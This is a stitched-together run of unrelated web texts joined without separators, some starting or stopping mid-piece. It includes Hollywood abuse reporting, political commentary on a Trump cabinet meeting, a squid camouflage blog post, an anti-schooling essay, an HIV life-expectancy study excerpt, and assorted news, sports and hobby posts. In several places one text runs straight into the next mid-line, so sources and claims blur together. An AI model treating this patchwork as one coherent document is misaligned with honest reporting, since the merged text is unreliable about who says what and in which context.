In his lawsuit, Egan claimed to have been raped by the defendants as a minor, but all claims against Singer were dismissed. During his current press tour for X-Men: Apocalypse, Singer, who called the lawsuit a "sick, twisted shakedown," has specified that he won't address questions about DEN or the lawsuit.
An Open Secret bombed in a spectacular way at the box office when it opened in July 2015, its biggest haul coming from its Seattle run, where it grossed $200. The producers later blasted Berg for failing to do any press or TV interviews to promote the film. (Berg did not respond to requests for comment for this story.) Two of the film’s own subjects later attempted to voice criticism of the film’s accuracy, but were largely suppressed by a litigation threat from the producers.
Feldman, the star of The Goonies and Stand by Me, spoke out in 2012 about his own experiences with sexual molestation. "When I was 14 and 15, things were happening to me," he told a British tabloid. "These older men were leching around like vultures. It was basically me lying there pretending I was asleep and them going about their business."
In his 2013 memoir, Coreyography, Feldman detailed how he and his then-best friend Corey Haim were subjected to sexual abuse during their years as Hollywood teen heartthrobs. During the filming of Lucas, Feldman writes, "an adult male convinced [Haim] that it was perfectly normal for older men and younger boys in the business to have sexual relations, that it was what all 'guys do.'
“So they walked off to a secluded area between two trailers, during a lunch break for the cast and crew, and Haim, innocent and ambitious as he was, allowed himself to be sodomized," Feldman continues, adding that the man is "one of the most successful people in the entertainment industry, still making money hand over fist."
Haim died of pneumonia at age 38 in 2010, his body failing him after years of devastating drug abuse. Feldman did not respond to a request to comment for this story.
Feb. 6, 2017, 10:55 a.m.PST A previous version of this article incorrectly stated that Brock Pierce and Chad Shackley, co-founders of DEN with Collins-Rector, were indicted along with Collins-Rector. In fact no criminal charges were filed against Pierce or Shackley. Further, the article inaccurately said that Egan sued Pierce and Shackley in a 2014 civil lawsuit. The men were named in Egan's 2000 lawsuit, a joint filing with two other plaintiffs, which was ultimately dismissed and/or settled out of court as to Pierce and Shackley. THR apologizes to Pierce and Shackley for the errors.The first full cabinet meeting of the Trump administration, held on Monday at the White House, was like the opening of King Lear (if not something out of The Godfather or Goodfellas) as each member paid their respects to President Trump and poured praise over him like syrup over a pile of orange pancakes.
The public, photo-op portion of the affair began with Trump's usual bluster, blaming Democrats as "obstructionists" (irony!) and the typical chest-puffing of accomplishments before he turned it over to the cabinet to introduce themselves.
Along with the introductions came praise for the chief executive who made no secret of how much his enjoyed soaking up the adulation.
Take, for instance, Vice President Mike Pence.
Then there was Energy Secretary Rick Perry (shudder), who heaped praise on Trump for his Paris Climate Agreement decision while Trump nodded and smiled, appeased by the offering of thanks.
While some of this rah-rah attitude is to be expected from a photo-op of a full cabinet meeting for the first time, a few moments seemed to go a bit over-the-top in making sure Trump's ego was placated.
Like the compliment from Chief of Staff Reince Priebus who metaphorically kissed Trump's ring by saying, “We thank you for the opportunity and blessing to serve your agenda and the American people."
It's all a bit squiffy, especially in light of former FBI director James Comey's recent testimony that Trump demanded a pledge of loyalty (or is it a loyalty pledge?) from Comey. (As for the Lear comparisons, no one seemed quite brave enough to pull a Cordelia.)
If you can wade through it, you can watch the entire 23-minute ordeal here.
The meeting left quite an impression on people, including frequent Trump target, Sen. "Cryin'" Chuck Schumer (D-NY), who took the opportunity to mock the president's praise marathon.
GREAT meeting today with the best staff in the history of the world!!! pic.twitter.com/ocE1xhEAac — Chuck Schumer (@SenSchumer) June 12, 2017
Trump cabinet meeting 🔽🔽🔽 pic.twitter.com/iRxgBm1r7a — Alex Katz (@Alex__Katz) June 12, 2017
Trump cabinet meeting is a fascinating depiction of what seems to be a meeting to pat Trump on the head and tell him he's a good boy. — Sarah Burris (@SarahBurris) June 12, 2017
Is this cabinet meeting stunt come before or after they sign their loyalty pledge to Trump? #TrumpCabinet #BandofRobberBarons #trumpocrisy — #ShePersisted (@k8tdid2) June 12, 2017
Reince Preibus is the kid in class who thanks teacher for a pop quiz so all of his classmates get the best education they can. #TrumpCabinet — Chris Humphrey (@humphreychris) June 12, 2017
Trump cabinet meeting went swimmingly today, pic.twitter.com/GAkHJExN6n — (((Steve Krasnow))) (@SteveKrasnow) June 12, 2017
Enjoy the glow of adoration now, Mr. President.Not many animals could legitimately claim to have a super power. But two little sea creatures, living deep in the dark blue ocean, have an ability many of us have fantasised about possessing – they can turn invisible at will.
The heroes of this story are two cephalopods – an octopus called Japetella heathi and a cuttlefish called Onychoteuthis banksii – henceforth known as the supersquid. You can see their near-magical talents in the video below:
Why should the supersquid need such an awesome power? Sarah Zylinski from Duke University, North Carolina tested the two squid in conditions replicating their natural habitat, and found a surprising conclusion – they weren’t using their invisibility to sneak into the ladies locker room.
The real reason is a lot less frivolous – avoiding predators. Being invisible seems like the perfect way of avoiding being eaten, but surprisingly this is not always the case. The supersquid live in a rather large number of depths. Nearer the surface, where ambient light is dominant, transparency works brilliantly. The trouble comes further down in the ocean depths.
Lower down in the sea, light from the sun becomes weaker and weaker. Eventually, the dominant form of illumination comes from bioluminescence – light give out by living organisms. The most famous example of this is the anglerfish – who uses a danging biological searchlight to hunt for prey.
This type of light is more directed than the diffuse light that comes from the sun. The transparent tissues of the supersquid would act like a lens for this bioillumination – concentrating and reflecting the light back to the predator. In effect, it makes them glow in the dark.
To counter this effect, many animals at depth are heavily pigmented with proteins that colour them black or red. Instead of reflecting the light, the pigmentation absorbs the light, allowing the creature to go about its business uneaten.
Because the supersquid have to deal with both environments they have evolved an ingenious way of turning their pigmentation on and off. They use cells called chromatophores, which change colour through muscular contraction.
“Transparency and pigmentation are so ubiquitous as camouflage strategies in the mesopelagic, but usually animals are confined to one or the other,” says Zylinski. “It’s really neat that these cephalopods can use the capacity for rapid change via chromatophores to utilize both strategies.”
I think it’s time Batman and Spiderman threw in the towel. There’s a new superhero in town, and his name is Squidman. Has a good ring to it, I think.
Zylinski, S., & Johnsen, S. (2011). Mesopelagic Cephalopods Switch between Transparency and Pigmentation to Optimize Camouflage in the Deep Current Biology, 21 (22), 1937-1941 DOI: 10.1016/j.cub.2011.10.014In 2013, American and British public opinion said “hell no” to plans to bomb (and surely regime change) Syria, taking the momentum out of the march to war. This marked a peak in post-Iraq war-weariness. But then in August 2014, many hearts were touched by the plight of a group of Yazidis trapped on a mountain and besieged by ISIS. So public opinion sanctioned a humanitarian military rescue. During the operation, it was revealed that the crisis was blown way out of proportion, as excuses for war so often are.
Predictably, ISIS retaliated. The group posted snuff films depicting the beheading of western journalists. American outrage was intense enough to allow President Obama to essentially launch a new war on ISIS. And since ISIS was in Syria as well as Iraq, this provided cover for American planes to enter and bomb Syria after all. This too elicited retaliation, in the form of ISIS terror attacks against civilians on western soil: in France, the U.S., Belgium, and elsewhere.
Following these attacks, western war weariness was eclipsed by a resurgent militant hostility toward Muslim peoples. Now America is in a fighting mood, and may be one major attack away from tipping headlong into war fever again. And all it took was less than two years of escalating tit-for-tat hostilities between western militaries and ISIS, starting with the Yazidi rescue, for public sentiment to revert from “hell no” to “let’s roll.” The American war machine is primed and “Ready for Hillary” or Trump.
How did we become so manipulable and herd-like? So easily spooked into hysterical stampedes? So docile and ready to be driven by our government herders over the precipice of war?
In a word, near-universal compulsory schooling. In school, students are not so much taught as they are conditioned. Schooling deeply ingrains certain mentalities that foster militancy: timidity and tribalism, dependency and docility, conformity and credulity. And so schools sow the spiritual seeds of war.
Only a people conditioned from childhood to be easily terrorized will react to small-scale crimes with mass panic. Only a people afflicted with rank tribalism will respond to the murder of a few dozen westerners by a handful of Islamists by sanctioning mass military violence against Muslim populations. Only a people beset with learned helplessness would respond to perceived threats by reflexively offering total deference to the authorities: yielding their freedoms and totally outsourcing the responsiblity to protect themselves and their families. Only a people trained to unquestioningly trust the ordained experts would let themselves be lied into war time and again.
The dependency and docility are cultivated by placing children under constant direction and supervision by teachers and administrators, who bestow favors and inflict punishments at will. Then there is the regimentation: the prescribed classroom routines, constantly being lined up, the P.E. exercises in military drill formation, the assigned movements from cell to cell according to a Pavlovian bell. Francis Bellamy, the author of the Pledge of Allegiance, a daily ritual of professing submission to the State, originally prescribed it to be accompanied by what he termed “a military salute”: the same salute now famously associated with the Nazis.
All this conditioning is reinforced by the content of the curriculum, which emphasizes reverence for authority: from its glorification of the police to its cult of the presidency.
The factory schools mass-produce lockstep “patriots,” ready to fall in line in support of whatever war his government has declared, and to hate whichever foreigners his government has instructed him to hate. They also churn out “good soldiers” ready to enlist or be conscripted, and then to lay down their lives if so commanded: the ultimate “pledge of allegience” to the State.
In fact, universal compulsory schooling was invented specifically for this purpose. |
to only those who were observed to initiate ART during our study period (18,591 participants contributing 1,057 deaths), the overall unweighted mortality rate was 18.9 (95% CI: 17.8, 20.1) per 1,000 person-years.
Discussion
Based on current patterns of ART use among participants observed from 2000 to 2007 in the NA-ACCORD, a 20-year-old individual on ART today in the U.S. or Canada would expect to live into their early 70 s, a life expectancy that approaches that of a 20-year-old person in the general population [12]. Life expectancy estimates for the general population at age 20 years in 2009 were 59.7 and 57.0 years for men and 63.9 and 61.7 years for women, in Canada and the U.S., respectively [12]. Indeed, given that many individuals living with HIV have demographic, clinical, and behavioral characteristics associated with greater morbidity and mortality than the general population [20], [21], the gap in life expectancy may be attributable to other lifestyle factors and not just HIV infection.
Importantly, our results are not confounded by previous antiretroviral use, as all participants were treatment-naive before initiating combination therapy. Weighted and unweighted rates overall and by calendar period produced similar results suggesting that our adjusted estimates are robust to any potential for informative censoring bias from the variables that were included in our model. Life expectancy does differ markedly by transmission group, race, and CD4 cell count at ART initiation; in particular, it is notably lower in individuals with a history of IDU, who are non-white, and who began ART with lower CD4 cell counts.
In the early years of ART availability, mortality was highest in the first year after ART initiation, but this has decreased over time. The modern ART era, in which mortality has become increasingly dependent on duration of ART, is characterized by a greater proportion of patients with longer follow-up. Therefore, the increase in life expectancy in the more recent time periods may reflect both a lower mortality rate in patients initiating ART and the mortality in those with a longer duration of ART use.
Our results are consistent with previous studies that have examined the life expectancy of HIV-positive individuals on ART [22]. While prior studies have observed similar decreases in mortality and increases in life expectancy among HIV-positive individuals as a result of ART [23], such findings have often been localized at the provincial or state level, and may now be less relevant to the current context of antiretroviral care [24], [25]. Furthermore, this is the first study to examine life expectancy in such a large sample of heterogeneous HIV-positive individuals on ART across the U.S. and Canada, and therefore provides novel data from this region.
The absence of significant differences in life expectancy by sex, and the higher life expectancy of men in the latest period suggests that there is in fact a sex differential in life expectancy in our study. In general, in high-income countries such as the U.S. and Canada we expect women to have higher life expectancies than men, which was not evident in our findings [12]. Similar life expectancies by sex or higher life expectancy for men suggest that women may be accessing HIV-related care at later stages of HIV disease than men in Canada and the U.S., which has significant public health ramifications. The sex differential, noted here, may also be explained in part due to the fact that general population comparisons better represent all men and women, while HIV-positive men here are weighted towards MSM and women toward IDU. Variation in levels of education and income, as well as access to the health care system, social stigma, and marginalization are other factors that may influence the observed differences by sex [26].
There are also considerable differences in life expectancy by HIV transmission group, with lower life expectancies reported in all periods for individuals with a history of IDU. This finding is consistent with previous findings from the ART Cohort Collaboration (a multisite cohort collaboration that includes seven sites in North America) and work done in British Columbia, Canada [2], [27]. We hypothesize a number of possible reasons for these differences, including increased comorbidity with greater non-AIDS related mortality, as well as challenges with ART adherence, active drug use, hepatitis C co-infection, housing instability, and lower socioeconomic status. Our findings here clearly illustrate that individuals with IDU history have not seen the increases in life expectancy that are evident in other groups.
Differences in life expectancy by race were also evident, with white individuals having higher life expectancies in all periods. As with persons with a history of IDU, these differences in life expectancy may be reflective of underlying differences in socioeconomic conditions, access to care, and health insurance coverage, suggesting an urgent need for strategies and programs to combat these inequities [28], [29]. However, we note that the gap in life expectancy between white and non-white individuals has decreased substantially, from 23.0 years in 2000–02 to 8.5 years in 2006–07.
Additional differences in life expectancies were noted by CD4 cell count at ART initiation in all periods. These findings may lend additional support to the earlier initiation of ART, in accordance with both the DHHS guidelines recommending universal therapy [30] and the 2012 International AIDS Society-USA (IAS-USA) guidelines, which recommend use of ART for all HIV-positive individuals regardless of CD4 cell count, except in the case of long-term non-progressors and elite controllers [3]. While our sample size limited our ability to analyze differences in life expectancy by more than two CD4 cell count strata, further analyses examining life expectancies for individuals starting ART with CD4 counts >500/mm3 would be beneficial.
In reviewing these findings, there are several potential limitations that readers of our work should consider. A caveat of life expectancy analyses in general is that they may underestimate more recent improvements in extending life since age-specific mortality rates are based on a given point in time and assumed to apply for the duration of an individual's life [22]. Also, our results can only be generalized to those newly initiating ART, and not those with previous exposure to antiretroviral therapy. Although this collaboration includes the largest number of HIV-positive individuals and broadest geographic distribution in the U.S and Canada analyzed to-date, these individuals may not be fully representative of the epidemic in the entire region. However, previous analyses of the NA-ACCORD indicate that it does represent the demography of the epidemic in the U.S. [31]. Next, cohorts in this collaboration may under-represent those at greatest risk of death, as such individuals are less likely to seek care or to remain under care at one clinic. Thus, cohorts that did not link to vital statistics may miss deaths that occurred outside of the clinic setting. However, most participants (88%) were from cohorts that did link to vital statistics data. To further investigate this issue, we conducted sensitivity analyses taking into account loss to follow-up, and were reassured to find little differences in our estimates. Variations due to small numbers may also affect our estimates, especially due to the truncation of age intervals at older ages and the small number of deaths observed for some time intervals. We addressed the impact of small numbers by smoothing rates and examining the distribution of deaths over a calendar period. Finally, due to the increased risk of age-related co-morbidities among HIV-positive adults, it is possible life expectancy may plateau or decrease in the future; it will be important to monitor life expectancy estimates as more adults age with HIV.
In conclusion, the results of this study document increasing longevity for individuals living with HIV in the U.S. and Canada. The marked increase in life expectancy at age 20 from 36.1 years in 2000–2002 to 51.4 years in 2006–2007 is a testament to the improvements and overall success of ART. However, large differences in life expectancy persist between certain sub-groups of patients. Future work should consider specific reasons for these life expectancy gains, overall and within each sub-group. These data will be vital to target priorities for improvements in health services. Finally, in addition to quantity, future work should consider quality of life, as the proportion of individuals aging with HIV continues to grow.The nation’s growing love of craft beer has come at a cost to employees at Molson, as the big brewer lays off staff at their Vancouver facility.
A total of 15 employees so far have been let go, according to News 1130, who add:
Gerry Bergunder, business agent for Local 300 — the brewery, winery and distillery workers union that represents Molson Coors’ employees at the company’s brewery on Burrard Street — said the layoffs took place about two weeks ago and affected bottle line workers, including label operators and mechanics.
The move is being interpreted by industry analysts as indicative of what’s to come thanks to the country’s fondness for craft beers.
The preference is impacting sales in British Columbia. Figures from earlier this summer show that for the first half of 2014, microbrewers’ sales in B.C. were up 43.4 per cent, putting craft brews at the lead of the overall beer and alcohol category.
The uptick in microbreweries’ output and sales has affected major labels like Molson Coors in Canada. Major breweries have seen a steady fall in sales over the past three years in the province. Molson Coors’ sales may have seen increases in overseas markets, but have been flat in Canada.
Jennifer Kerr, manager of corporate affairs for Molson Coors Canada, affirmed to News1130 that brewing is “a very competitive market,” in the country.
Bergunder says he hopes the layoffs in Vancouver at Molson Coors will be “temporary,” and that the union is discussing any possibilities for re-hiring the workers.
Featured image: vapourtrails/FlickrHere’s another week of great ska and ska/punk music for all ya’ll! As always I hope you enjoy it! It’s been a rough week for me, and I’m just glad that this episode of great songs from great artists came together so simply and easily so that I could keep this podcast on time! The title for this one, it means nothing. Sorry about that. The episode is a winner, but this description is not. Wait… I can feel it, I can feel the cosmos!
Mustard Plug – What Does She Know (Can’t Complain ’14)
Dave Hillyard & Friends – Guilty (California ’13)
the Branlarians – Wanty & Getty (the 1st and Maybe the Only! ’13)
Bim Skala Bim – At Wo’s (Bones ’92)
No Such Noise – Ready (For Closure ’13)
Counting Coins – What Gives You the Right (What Gives You the Right ’13)
Survay Says! – Denial (version 2) (Things I Need to Say ’13)
Find & like 23min of Ska on facebook. Also, feel free to download this episode. Ska is better on vinyl. Hit up Grandpa’s Casino Recordings, we have some great vinyl ska records!It costs roughly $23,000 to support a family of five for a year in Guelph, Canada. When a local businessman made that calculation, he also made a decision: He would put up the money to help resettle 50 families of Syrian refugees.
“I did not want to be a person who stood by.”
Jim Estill, CEO of Danby, a large appliance company based in Guelph, was watching the news about Syria in the summer of 2015 when he realized that he wanted to do something.
“It was the buildup of media that I saw–that Syria was in deep trouble, and people were drowning to try to get away from the peril,” he says. “I had once heard a rabbi speak in New York who said that part of the problem with the Holocaust is that people stood by and did nothing. I did not want to be a person who stood by.”
Unlike the U.S., Canada has a private sponsorship program, originally established in 1978 to help the country accept more Vietnamese refugees. Of the nearly 40,000 Syrian refugees that Canada accepted between November 2015 and December 2016, more than 13,000 were privately sponsored.
“I believe in private sponsorship, primarily because it’s not about the money, it’s about people settling well,” says Estill. “The government can only really give money; they can’t hire friends.”
After meeting with local religious organizations and aid agencies, Estill began the painful process of choosing who could come. The number of families he decided to help went from 50 up to 58–more than 200 people–and the first refugees began to arrive in the summer of 2016.
Estill created a volunteer organization to help new arrivals with every part of their lives in Guelph, from making doctor’s appointments to how to ride the bus. “The government could issue you a bus pass, but if you don’t speak the language and you don’t know the geography, that’s daunting,” he says. “You want someone to ride the bus with you.”Ladies Who Code put on a competition to win a scholarship to Meteor London‘s first workshop, and guess who won! I’m incredibly grateful and so glad I went.
Meteor is an awesome Javascript framework. A framework helps you build websites and apps more quickly, as it gives you a skeleton. This skeleton in Meteor’s case is made up of Javascript, CSS, HTML and MongoDB (a database).
I’ve done some of Michael Hartl’s Ruby on Rails tutorial. A good part of any beginners Rails tutorial is spent saying “don’t worry about all that other stuff, concentrate on what I’m talking about” so it was amazing having only three files to start off with and knowing what all of them did. Also when you edit something in the code your edits are live straight away, which was a nice departure from Rails.
All these discoveries were made before the workshop started using Meteor’s official beginner’s guide, so I was optimistic. I’d also ran Javascripting, recommended as a primer before the event, and felt okay about all the concepts. I’ll admit at this point I did have misgivings: it all felt far too simple! I listened to a Code Newbie podcast on Meteor on the way down and the speaker confirmed my fears.
I was right; it was nowhere near that simple. The introduction started off fine, but after about fifteen minutes there was a chunk of time in which I wasn’t sure if anyone in the room was speaking English. Ines, from Ladies who Code, assured me her first workshop had been just the same. Oli, one of the people running the event, said immersion was the point, and this was to show me what being a developer was really like.
The participants and tutors communicated online through gitter, a message room attached to github, which was populated with helpful notes. I could also ask questions if I got stuck whilst Oli and Alan roamed the room.
I learnt a lot about the cool features of Meteor. One that sticks out is its authentication packages: if you want Facebook authentication, you install a package, type a very short of bit of code that amounts to “put it here” and then you have a login box. It’s magical and after Rails it was great to see how fast a (seasoned) newbie could make an application.
We also went away with t-shirts and a free copy of Discover Meteor, the canonical text of Meteor 1.0.
This experience has shown me how much more I have to learn about Javascript, how simple frameworks can be built up into applications and how developers learn once they know how to develop. Off the back of the Code Newbie podcast I found Meteor Academy, which is aimed at beginners. They suggest a few Javascript resources and I’m going to do Eloquent Javascript and make sure all the fundamentals are there.
All in all a great if stressful day. I met a lot of inspiring people confident in their field and saw how these things run from the inside. If I could go back and do it all again, I would. This time though I’d take a voice recorder!
AdvertisementsManagement / Graduates becoming ‘increasingly choosy’ about job offers, study shows
Graduates becoming ‘increasingly choosy’ about job offers, study shows
University-leavers are getting "choosier" about jobs, with more than 1,000 graduate vacancies left unfilled last year, according to new research.
It suggests that there has been a “noticeable” rise in the number of graduates who are turning down, or reneging on offers of employment.
Despite this, employers are planning to offer more graduate-level positions this year, taking the number of jobs available to its highest ever level, a study by High Fliers Research found.
The Graduate Market in 2016 report, based on a study of vacancies, starting salaries and work experience programmes at 100 of the UK’s leading employers, found that the number of graduates hired by these firms rose by 3.3% in 2015 – with 18,818 people taken on overall – although this was a smaller increase than expected.
In total, 1,074 positions were not filled, the study concluded, with the majority of these down to graduates turning down or reneging on offers, High Fliers said, and a relatively small proportion due to employers being unable to recruit suitable candidates.
Around 30 organisations reported that they had positions they were unable to recruit for and a further 19 said they had taken on fewer graduates than predicted in July last year, the report concluded.
“A noticeable rise in the number of graduates turning down or reneging on job offers that they had previously accepted meant that over 1,000 graduate positions were left unfilled last year, reducing the graduate intake at almost a third of the UK’s leading employers,” the report said.
It went on to say: “It is evident that the buoyant job market has had a significant impact and in a number of sectors graduate vacancies were left unfilled, either because graduates turned down employers’ job offers or because they reneged on offers that they had previously accepted earlier in the recruitment season.
“For some organisations, a lack of applicants for certain harder-to-fill vacancies made recruitment more challenging and at several employers, late increases to recruitment targets made it impossible to source additional graduates in time.”
Most graduate jobs have a start date of the autumn, with employers recruiting throughout the previous academic year, and students applying in their final year of their degree studies.
Firms are expecting to expand their graduate recruitment by a further 7.5% in 2016, the report says, the fourth year in a row that vacancies have increased and taking graduate recruitment to its highest ever level.
The study also suggests that work experience continues to be important for students seeking a job, with nearly a third (32%) of this year’s entry-level positions expected to be filled by graduates who have already worked for the organisation, either through paid internships, industrial placements or holiday work.
And it concludes that graduate starting salaries are likely to remain unchanged this year, with a typical wage of £30,000, while at least a fifth of places have starting salaries of more than £35,000.
Martin Birchall, managing director of High Fliers Research, said: “For students leaving university this summer, it’s very welcome news that Britain’s top employers are recruiting their biggest-ever intake of new graduates in 2016 and will be investing a record amount in their training, development and starting salaries.
“But as the job market goes from strength to strength, it’s clear that our brightest graduates are becoming increasingly choosy about the employers they join and last year record numbers turned down employers’ job offers or changed their mind about an offer they had accepted during their final months at university.
“As a result, more than 1,000 graduate positions at some of the country’s most popular and sought-after employers were left unfilled.”
Photo from Chris Ison / PA Wire
–Two Iowa men were arrested and weapons were seized in Saugus, Massachusetts, after police say threats were made to the Pokemon World Championships in Boston. (Published Sunday, Aug. 23, 2015)
Two Iowa men were arrested and weapons were seized after police say threats were made to the Pokemon World Championships in Boston.
Police say 18-year-old Kevin Norton and 27-year-old James Stumbo had a 12-gauge shotgun, an AR-15, hundreds of rounds of ammo and a hunting knife in their vehicle.
Stumbo had posted a photo of the guns resting on a car Wednesday to a Facebook group called "Mayhem Pokemon Crew." The caption read "Kevin Norton and I are ready for worlds Boston here we come!!!"
On Wednesday, James Austin Stumbo posted this photo to the "Mayhem Pokemon Crew" Facebook page with the caption, "Kevin Norton and I are ready for worlds Boston here we come!!!"
Photo credit: Facebook
When another member of the group wrote "Good luck," Norton replied "With killing the competition?" The other member responded, "Haha yes."
Word of the post got to security at the Hynes Convention Center and they reported to Boston Police. When Norton and Stumbo tried to get in to the event Thursday, they were stopped.
Police let the men go pending a search warrant, but kept their car. They were then arrested Friday at the Red Roof Inn in Saugus, Massachusetts, after police discovered the weapons in the vehicle.
A senior Boston Police official tells NBC News that at this point, the threat does not appear to have a connection to any extremist groups such as ISIS. The motive behind the plot, however, remains a mystery to police.
One mother who attended the event with her child says they were never notified of a threat, though she heard rumors. She couldn't believe a family-friendly event like this would be seriously targeted.
"It's the best crowd, the best people. You lose your wallet, they'll hand it to you," said Tyra Williams of Illinois.
"I see no real reason," said Sergio Hernandez of Everett. "It's full of kids."
Hernandez says security was tighter than usual. Bags were checked carefully at the door.
"They checked our bags, they even checked little compartments," he said. "They thoroughly checked everything."
The Pokemon Company International issued the following statement:
"Prior to the event this weekend, our community of players made us aware of a security issue. We gathered information and gave it as soon as possible to the authorities at the John B. Hynes Veterans Memorial Convention Center who acted swiftly and spearheaded communication with the Boston Police Department. Due to quick action, the potential threat was resolved. The Pokemon Company International takes the safety of our fans seriously and will continue to ensure proper security measures are a priority."
Stumbo and Norton will be arraigned Monday.KUALA LUMPUR, 22 April 2016:
The haze plaguing the Klang Valley since Wednesday is due to the smoke from fires which occurred in several areas on the peninsula, including peat fires in Kuala Langat and Sepang, Selangor.
Natural Resources and Environment Minister Datuk Seri Dr Wan Junaidi Tuanku Jaafar said in a statement last night the situation was aggravated by the hot and dry weather, causing the air pollutants to float in the air.
“Currently, there is no influence of transboundary haze because the country is still in the inter-monsoon season which is expected to last until mid-May.
“Fires are actively being doused by the Fire and Rescue Department, and it is under control.”
In the meantime, Wan Junaidi said as at 3pm yesterday, several areas around the Klang Valley recorded unhealthy levels of Air Pollutant Index (API) due to ground-level ozone pollution.
Wan Junaidi said the sweltering weather conditions and an increase in nitrogen dioxides (NOx) and Volatile Organic Compounds (VOC) has contributed to the rise in the API.
He said based on a report by the Malaysian Meteorological Department (MMD), as of yesterday, Klang and Kuala Selangor had no rainfall for eight consecutive days.
Meanwhile, MMD’s website as at 9pm showed the APIs in several areas hit by the haze this afternoon, had returned to moderate levels.
Among the areas affected were Shah Alam (API reading from 122 to 86), Batu Muda (106 to 77), Cheras (131 to 78) and Petaling Jaya (103 to 73).
An API reading of between 0 and 50 is considered good, 51 to 100 (moderate), 101 and 200 (unhealthy), 201 to 300 (very unhealthy) and 300 and above (hazardous).
The public can refer to the portal http://apims.doe.gov.my/v2/ for the latest API readings.100 Days Until UAB Football Returns: Clark to Donate 100 Season Tickets
BIRMINGHAM, Ala. - With exactly 100 days until the UAB Football program makes its triumphant return to the field, head coach Bill Clark and his wife Jennifer have purchased 100 season tickets to donate to the Big Brothers Big Sisters of Greater Birmingham program.
"We would not be where we are today without the unwavering support of Birmingham, so this is a token of our appreciation for what the city has helped build," Clark said. "We need to have Legion Field packed for every home game so I challenge Birmingham to continue showing support by purchasing season tickets and witness history in 2017."
Clark and the Blazers kick off the 2017 season on September 2 at Legion Field against Alabama A&M. Fans can purchase season tickets for UAB's six home games starting as low as $99 by clicking here.
Clark's donation continues to strengthen the partnership between UAB Football and Big Brothers Big Sisters of Greater Birmingham which has existed for over a year now.
On July 30, 2016, Clark and Hatton Smith, Chairman of the UAB Athletics Campaign Committee, were recognized at A Night of Big Stars for their involvement with the Big Brothers Big Sisters program. Later that fall, UAB Football student-athletes were matched with their "littles" at the UAB Football Facility and continue to help mentor the youth of Birmingham.
"Big Brothers Big Sisters is so appreciative to Coach Clark and all of the UAB Football players who have become Big Brothers to boys who live in Public Housing in Birmingham for their friendship," said Sue Johnson, CEO of Big Brothers Big Sisters. "The partnership between UAB and Big Brothers Big Sisters exhibits the truest sense of caring about children and neighbors in our community.
"I thank Coach Clark for this generous gift of tickets to UAB Football games and for his ongoing, simple gift of friendship that will change children's lives for the better, forever. We sincerely appreciate this opportunity for our children to enjoy a true community activity and experience one of Birmingham's gems...UAB Football!"
Excitement continues to grow for the return of UAB Football which is now just 100 days away from its first game in over two years. The home schedule includes contests against Alabama A&M (Sept. 2), Coastal Carolina (Sept. 16), Louisiana Tech (Oct. 7 - Homecoming), Middle Tennessee (Oct. 14), Rice (Nov. 4) and UTEP (Nov. 25).
There is a wide array of options to purchase season tickets and season parking for this coming Fall. For more information on ticket options and parking passes, click here.
For continuous updates on UAB Football, follow @UAB_FB on Twitter and Instagram.The first two rounds of BLAST Pro Series have been postponed to Saturday due to technical issues ensuing at the venue.
RFRSH Entertainment CEO and founder Nikolaj Nyholm broke the news to the teams, who were getting ready to play their first match in the tournament, almost four hours after the scheduled kickoff time following technical issues.
Team captains have agreed to play the first two rounds between 10:00 and 12:30. After that, there will be a one-hour break, with the tournament then resuming its normal schedule.
Matches will start on Saturday morning
The top two teams of this round-robin stage will face each other in the grand final, scheduled for 19:00. Before that, the third-placed side will take on one of the bottom finishers in the Blast Pro Series Standoff, a series of 1v1 duels on an aim map with $20,000 on the line.MANILA, Philippines - Some of the country’s most influential business tycoons have expressed satisfaction with the business environment under the Duterte administration, but underscored the urgency of speeding up the implementation of proposed infrastructure projects.
Ports tycoon Enrique Razon said the prevailing environment is conducive for business.
“It’s pretty good. No complaints,” said Razon, who owns and operates global port operator International Container Terminal Services Inc. (ICTSI) and Solaire Resort & Casino.
He said that if the government’s plan to usher in the so-called golden age of infrastructure pushes through, it would be good for the country.
“If they can execute that in their time frame, then that is very good for the country. There’s no downside to that. Government spending – always a boost to the economy. I’m optimistic on the players that will be executing the projects,” Razon said.
Asked if he would be interested in joining the government’s unsolicited proposal framework, Razon said that if there is something that is related to his businesses, he could consider it.
Similarly, Fernando Zobel de Ayala, president and chairman of Ayala Corp. said the country’s oldest conglomerate is bullish on the country’s business climate.
“If you look at the amount of capex we are looking at for this year, it’s an indication of how bullish we are on the economy. The results are good. We are bullish about the economy. We are expanding at a quick rate,” Zobel said.
Ayala Corp. is pouring in P185 billion in capital expenditures this year, higher than the 13 percent allocated in 2016 to support its real estate, telecommunications and water segments as well as to power up its emerging businesses.
The company’s core businesses are Ayala Land, BPI, Globe Telecom, Manila Water and IMI, while new businesses launched in recent years include AC Energy, AC Infra, AC Education, AC Industrials and AC Automotive.
However, Zobel emphasized the need for new infrastructure.
“The only area we really need to emphasize is we need to move fast on infrastructure. We all how know badly needed it is and we all know that these projects can be solved. The projects that have come online recently have already made a huge difference. The problems can be solved, we just need to get moving on the projects themselves,” Zobel said.
Ayala, through AC Infrastructure Holdings Corp. is hitching a ride on the government’s infrastructure push with three big-ticket unsolicited proposals including the P25 billion, 8.6-kilometer elevated tollroad from Sta. Mesa in Manila to the SM Mall of Asia in Pasay and an infrastructure project in Mindanao, company president and CEO Jose Rene Almendras said.
D.M. Consunji Inc. (DMCI), the construction arm of engineering conglomerate DMCI Holdings, is likewise looking for possible technology partners to complement their construction expertise as they prepare for the government’s infrastructure program.
The Duterte administration vowed to usher in what it touts as the golden age of infrastructure, touted as the biggest infrastructure push in Philippine history. The plan is to boost state spending on infrastructure to seven percent of the country’s GDP from five percent at present which would also be a major catalyst for growth.
DMCI President Jorge A. Consunji said they are in talks with potential partners from major players in Asia, Europe and the Middle East who can add value in terms of efficiency, cost design and methodology.If you’re sitting in the well of the House when a president gives a State of the Union address (as I’ve had the privilege of doing five times), the hardest part is on the knees. You’re required to stand and applaud every applause line, which means, if you’re in the cabinet or an elected official of the president’s party, an extraordinary amount of standing and sitting.
But for a president himself, the State of the Union provides a unique opportunity to focus the entire nation’s attention on the central issue you want the nation to help you take action on.
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President Obama has been focusing his (and therefore America’s) attention on immigration, guns, and the environment. All are important. But in my view none of these should be the central theme of his address Tuesday evening.
His focus should be on the joblessness, falling real wages, economic insecurity, and widening inequality that continue to dog the nation. These are the overriding concerns of most Americans. All will grow worse if the deficit hawks, austerity mavens, trickle-down charlatans, and government-haters who have commanded center stage for too long continue to get their way.
In coming weeks the GOP will be using another fiscal cliff, a funding crisis, and another debt ceiling showdown to convince Americans of an outright lie: that the federal budget deficit is our most important problem, that it is responsible for the continuing anemic recovery, and that we must move now to reduce it.
